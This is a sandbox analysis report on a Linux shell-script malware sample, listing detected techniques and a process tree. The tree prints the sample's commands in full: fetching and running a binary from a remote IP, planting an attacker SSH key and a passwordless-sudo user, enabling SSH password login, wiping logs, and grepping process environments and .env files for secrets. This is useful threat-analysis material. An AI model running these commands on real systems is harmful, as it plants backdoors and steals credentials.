22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2

Analysis

max time kernel
58s
max time network
59s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/06/2026, 23:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
Size 38KB
Sample260627-3xknraes21
SHA256 22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2
MD5 70f23922c80521b134aeea51cf3a1116
SHA1 5e30ed1186eb796a56cf40e24520b79f93143451
SHA512 015b3e9a19bfc5f201b8c76bdd0a9a83f9c2bcea488495286c220797d707295eb2710a22daf20238bf9cff0e42975b765119e1136ac54888d241421c2ceddd2d
SSDEEP 768:nfc133pNd9y464571VnJ64EnIgiK2r1nSawi:f65Nd9y464p1VnJ64EnIP7SI
TLSH
T1580392B2B6609930B68DCC3CB6750D51658AA42BC4553818701EF8F49FFC698DCE8BF6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/home/prabowo/.ssh/authorized_keys	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

Modifies password files for system users/ groups 1 TTPs 4 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod

Executes dropped EXE 24 IoCs

ioc	pid	Process
/tmp/kit	767	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	769	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	772	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	774	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	778	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	782	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	786	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	789	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	792	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	796	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	799	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	802	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	815	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	818	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	821	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	824	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	827	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	831	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	835	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	838	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	842	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	847	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	849	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/kit	853	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 3 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
831	kit
835	kit
838	kit

Adds a user to the system 1 IoCs

pid	Process
863	useradd

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/home/prabowo/.bashrc	useradd
File opened for modification	/home/prabowo/.profile	useradd

Deletes log files 1 TTPs 3 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/apache2/access.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File truncated	/var/log/auth.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File truncated	/var/log/nginx/access.log	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/home/prabowo/.bashrc	useradd
File opened for modification	/home/prabowo/.profile	useradd

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/417/environ	strings
File opened for reading	/proc/701/environ	strings
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/12/environ	strings
File opened for reading	/proc/13/environ	strings
File opened for reading	/proc/24/environ	strings
File opened for reading	/proc/371/environ	strings
File opened for reading	/proc/376/environ	strings
File opened for reading	/proc/672/environ	strings
File opened for reading	/proc/698/environ	strings
File opened for reading	/proc/sys/crypto/fips_enabled	python3
File opened for reading	/proc/11/environ	strings
File opened for reading	/proc/16/environ	strings
File opened for reading	/proc/37/environ	strings
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/321/environ	strings
File opened for reading	/proc/325/environ	strings
File opened for reading	/proc/700/environ	strings
File opened for reading	/proc/71/environ	strings
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/environ	strings
File opened for reading	/proc/105/environ	strings
File opened for reading	/proc/19/environ	strings
File opened for reading	/proc/6/environ	strings
File opened for reading	/proc/78/environ	strings
File opened for reading	/proc/650/environ	strings
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/14/environ	strings
File opened for reading	/proc/7/environ	strings
File opened for reading	/proc/8/environ	strings
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/115/environ	strings
File opened for reading	/proc/23/environ	strings
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/10/environ	strings
File opened for reading	/proc/114/environ	strings
File opened for reading	/proc/149/environ	strings
File opened for reading	/proc/17/environ	strings
File opened for reading	/proc/666/environ	strings
File opened for reading	/proc/703/environ	strings
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/22/environ	strings
File opened for reading	/proc/324/environ	strings
File opened for reading	/proc/668/environ	strings
File opened for reading	/proc/79/environ	strings
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/15/environ	strings
File opened for reading	/proc/18/environ	strings
File opened for reading	/proc/36/environ	strings
File opened for reading	/proc/671/environ	strings
File opened for reading	/proc/73/environ	strings
File opened for reading	/proc/76/environ	strings
File opened for reading	/proc/77/environ	strings
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/3/environ	strings
File opened for reading	/proc/filesystems	ls

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1026	grep
1032	grep
926	grep
940	grep
984	grep
1006	grep
1036	grep
936	grep
950	grep
970	grep
934	grep
952	grep
978	grep
998	grep
1010	grep
1020	grep
1028	grep
924	grep
972	grep
986	grep
1024	grep
1053	grep
918	grep
942	grep
1000	grep
1014	grep
1034	grep
920	grep
938	grep
960	grep
974	grep
980	grep
916	grep
928	grep
956	grep
988	grep
1040	grep
930	grep
932	grep
962	grep
976	grep
1022	grep
922	grep
1002	grep
1012	grep
958	grep
966	grep
964	grep
1038	grep
914	grep
1008	grep
1016	grep
948	grep
954	grep
1004	grep
1030	grep
994	grep
1018	grep
1055	grep
778	kit
982	grep
990	grep
992	grep
944	grep

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.rk_VStrS6	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rk_VStrS6	mktemp
File opened for modification	/tmp/.re_OKP22Q	mktemp
File opened for modification	/tmp/~/.ssh/authorized_keys	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.pw_hash	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.kontol_miber	cp
File opened for modification	/tmp/.rw_tZLuv0	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.kontol_miber	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rc_8usfNF	mktemp
File opened for modification	/tmp/.rw_tZLuv0	mktemp
File opened for modification	/tmp/.el.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.proc_environ.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/~/.bash_history	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/kit	curl
File opened for modification	/tmp/.mykey_tmp	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.configs.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.hist_all.txt	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
File opened for modification	/tmp/.rc_8usfNF	22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh

/tmp/22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
/tmp/22d30cf7238704569864e016ff5d4fe72d737485320ea423c8e7453605e6a9f2.sh
1⤵
- Adds new SSH keys
- Executes dropped EXE
- Deletes log files
- Writes file to tmp directory
PID:703
- /bin/mktemp
  mktemp /tmp/.rc_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/mktemp
  mktemp /tmp/.rk_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:710
- /bin/mktemp
  mktemp /tmp/.rw_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:714
- /bin/mktemp
  mktemp /tmp/.re_XXXXXX
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/hostname
  hostname
  2⤵
  PID:722
- /bin/uname
  uname -a
  2⤵
  PID:725
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:728
- /usr/bin/whoami
  whoami
  2⤵
  PID:731
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:735
- /bin/hostname
  hostname -I
  2⤵
  PID:739
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:740
- /usr/bin/cut
  cut -d: -f6
  2⤵
  PID:745
- /usr/bin/getent
  getent passwd root
  2⤵
  PID:744
- /bin/mkdir
  mkdir -p "~/.ssh"
  2⤵
  - Reads runtime system information
  PID:748
- /bin/chmod
  chmod 700 "~/.ssh"
  2⤵
  PID:750
- /bin/chmod
  chmod 600 "~/.ssh/authorized_keys"
  2⤵
  PID:751
- /bin/grep
  grep -qF prabowo-gibran "~/.ssh/authorized_keys"
  2⤵
  PID:752
- /usr/bin/curl
  curl --insecure http://193.135.9.84/k -o /tmp/kit
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x /tmp/kit
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /bin/grep
  grep -qiE "ELF|executable"
  2⤵
  PID:760
- /usr/bin/file
  file /tmp/kit
  2⤵
  PID:759
- /usr/bin/openssl
  openssl passwd -6 D4pur.Mbg87
  2⤵
  PID:761
- /usr/bin/python3
  python3 -c " import crypt,random,string salt='\$6\$'+''.join(random.choices(string.ascii_letters+string.digits,k=16))+'\$' print(crypt.crypt('D4pur.Mbg87',salt)) "
  2⤵
  - Reads runtime system information
  PID:763
- /bin/cat
  cat /tmp/.pw_hash
  2⤵
  PID:766
- /tmp/kit
  /tmp/kit "mkdir -p /root/.ssh"
  2⤵
  PID:767
- /tmp/kit
  /tmp/kit "chmod 700 /root/.ssh"
  2⤵
  PID:769
- /tmp/kit
  /tmp/kit "cat /tmp/.mykey_tmp >> /root/.ssh/authorized_keys"
  2⤵
  PID:772
- /tmp/kit
  /tmp/kit "chmod 600 /root/.ssh/authorized_keys"
  2⤵
  PID:774
- /bin/grep
  grep -qF prabowo-gibran /root/.ssh/authorized_keys
  2⤵
  PID:777
- /tmp/kit
  /tmp/kit "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDemH9j0b53upGjGoFq0bjFKpuGm8/++E1nCGLfk4F5y4Y9ldcS3Qw8CdB2VTof1seESU4U49cYqJ6tjuhVvdEmnM3nBsVtDvj+8RmFi6FqGS2N/9+oSXrH3e5v+Pk58VJrWzp6x9INUKCalLZaJaeGjQNopcavqdn1A/9Tu2cRzsG5x9nQZlR5tqXZFK4+1ceKdu9/VZpe/kNG6W56JzkP/2LXDzQn+fgV4k41sJe2QY85smZ3uH/rDtYIkM1SH4Galy6Kpql8weUXQ72KLK8GEiBAEr93SQJF+Cyx39AcxCldMTL8TgfYX2HIcZlttJoxeTH8hvEzFPNX/n33SHEOYSANydh0tCRlSOHrj4kGjfJl8c9xk7dPufV3GvB82f6ca6vw3L/P5jni5uJRp8/1bErUwTlf/hCfIpUdD+19j+Jw5XsMgZ5SfL7wVV5jSSIDNZh9arpawNo90VfZAOPDfky0m7Xz/yixBPruYK5LBK7oUCkNS24yxbEWlUL6sVnzdQloKZ3pOzfl2D9B4ikdB/RBgtak0QL2FPtVRdwYq5mPYJ9/VzalS4lzlJdUhe/oNvSSj/d4j1xXprFAlcNMyI2Q9vg/Eu1wKRtgp9k5Odd931iSs4FJf+gD/7+7l01+aptMo9no3wtMC+rOJi+wWCBbuTF+JB7/u3eJZIe8Ew== prabowo-gibran' > /root/.ssh/authorized_keys"
  2⤵
  - System Network Configuration Discovery
  PID:778
- /tmp/kit
  /tmp/kit "chmod 600 /root/.ssh/authorized_keys"
  2⤵
  PID:782
- /tmp/kit
  /tmp/kit "useradd -m prabowo 2>/dev/null"
  2⤵
  PID:786
- /tmp/kit
  /tmp/kit "adduser -D -s /bin/sh -h /home/prabowo -g '' prabowo 2>/dev/null"
  2⤵
  PID:789
- /tmp/kit
  /tmp/kit "echo 'prabowo:x:1001:1001:,,,:/home/prabowo:/bin/sh' >> /etc/passwd"
  2⤵
  PID:792
- /tmp/kit
  /tmp/kit "echo 'prabowo:x:1001:' >> /etc/group"
  2⤵
  PID:796
- /tmp/kit
  /tmp/kit "mkdir -p /home/prabowo"
  2⤵
  PID:799
- /tmp/kit
  /tmp/kit "chown prabowo:prabowo /home/prabowo"
  2⤵
  PID:802
- /bin/sleep
  sleep 0.5
  2⤵
  PID:805
- /tmp/kit
  /tmp/kit "mkdir -p /home/prabowo/.ssh"
  2⤵
  PID:815
- /tmp/kit
  /tmp/kit "chmod 700 /home/prabowo/.ssh"
  2⤵
  PID:818
- /tmp/kit
  /tmp/kit "cat /tmp/.mykey_tmp >> /home/prabowo/.ssh/authorized_keys"
  2⤵
  PID:821
- /tmp/kit
  /tmp/kit "chmod 600 /home/prabowo/.ssh/authorized_keys"
  2⤵
  PID:824
- /tmp/kit
  /tmp/kit "chown -R prabowo:prabowo /home/prabowo/.ssh"
  2⤵
  PID:827
- /tmp/kit
  /tmp/kit "echo 'prabowo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/prabowo"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:831
- /tmp/kit
  /tmp/kit "chmod 440 /etc/sudoers.d/prabowo"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:835
- /tmp/kit
  /tmp/kit "usermod -aG sudo prabowo 2>/dev/null || usermod -aG wheel prabowo 2>/dev/null || addgroup prabowo wheel 2>/dev/null || addgroup prabowo sudo 2>/dev/null"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:838
- /tmp/kit
  /tmp/kit "sed -i 's/^PasswordAuthentication no/PasswordAuthentication yes/i' /etc/ssh/sshd_config"
  2⤵
  PID:842
- /tmp/kit
  /tmp/kit "sed -i 's/^ChallengeResponseAuthentication no/ChallengeResponseAuthentication yes/i' /etc/ssh/sshd_config"
  2⤵
  PID:847
- /tmp/kit
  /tmp/kit "grep -q '^PasswordAuthentication' /etc/ssh/sshd_config || echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config"
  2⤵
  PID:849
- /tmp/kit
  /tmp/kit "systemctl restart sshd 2>/dev/null || systemctl restart ssh 2>/dev/null || service sshd restart 2>/dev/null || service ssh restart 2>/dev/null || rc-service sshd restart 2>/dev/null || /etc/init.d/sshd restart 2>/dev/null || /etc/init.d/ssh restart 2>/dev/null || /etc/init.d/dropbear restart 2>/dev/null"
  2⤵
  PID:853
- /bin/sleep
  sleep 1
  2⤵
  PID:855
- /usr/bin/id
  id prabowo
  2⤵
  - Reads runtime system information
  PID:861
- /usr/bin/id
  id -u
  2⤵
  PID:862
- /usr/sbin/useradd
  useradd -m prabowo
  2⤵
  - Modifies password files for system users/ groups
  - OS Credential Dumping
  - Adds a user to the system
  - Creates/modifies environment variables
  - Modifies Bash startup script
  - Reads runtime system information
  PID:863
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:864
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:865
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:866
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:867
- /bin/mkdir
  mkdir -p /home/prabowo/.ssh
  2⤵
  - Reads runtime system information
  PID:868
- /bin/chmod
  chmod 700 /home/prabowo/.ssh
  2⤵
  PID:869
- /bin/grep
  grep -qF prabowo-gibran /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:870
- /bin/chmod
  chmod 600 /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:871
- /bin/chown
  chown -R prabowo:prabowo /home/prabowo/.ssh
  2⤵
  PID:872
- /usr/bin/id
  id prabowo
  2⤵
  - Reads runtime system information
  PID:873
- /bin/rm
  rm -f /tmp/kit /tmp/.mykey_tmp /tmp/.pw_hash
  2⤵
  PID:874
- /usr/bin/find
  find / "(" -name .env -o -name "*.env" -o -name ".env.*" ")" -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*"
  2⤵
  - Reads runtime system information
  PID:875
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/strings
  strings /proc/1/environ
  2⤵
  - Reads runtime system information
  PID:913
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:916
- /usr/bin/strings
  strings /proc/10/environ
  2⤵
  - Reads runtime system information
  PID:915
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/strings
  strings /proc/105/environ
  2⤵
  - Reads runtime system information
  PID:917
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/strings
  strings /proc/11/environ
  2⤵
  - Reads runtime system information
  PID:919
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/strings
  strings /proc/114/environ
  2⤵
  - Reads runtime system information
  PID:921
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/strings
  strings /proc/115/environ
  2⤵
  - Reads runtime system information
  PID:923
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:926
- /usr/bin/strings
  strings /proc/12/environ
  2⤵
  - Reads runtime system information
  PID:925
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/strings
  strings /proc/13/environ
  2⤵
  - Reads runtime system information
  PID:927
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:930
- /usr/bin/strings
  strings /proc/14/environ
  2⤵
  - Reads runtime system information
  PID:929
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:932
- /usr/bin/strings
  strings /proc/144/environ
  2⤵
  PID:931
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/strings
  strings /proc/149/environ
  2⤵
  - Reads runtime system information
  PID:933
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/strings
  strings /proc/15/environ
  2⤵
  - Reads runtime system information
  PID:935
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/strings
  strings /proc/16/environ
  2⤵
  - Reads runtime system information
  PID:937
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:940
- /usr/bin/strings
  strings /proc/165/environ
  2⤵
  PID:939
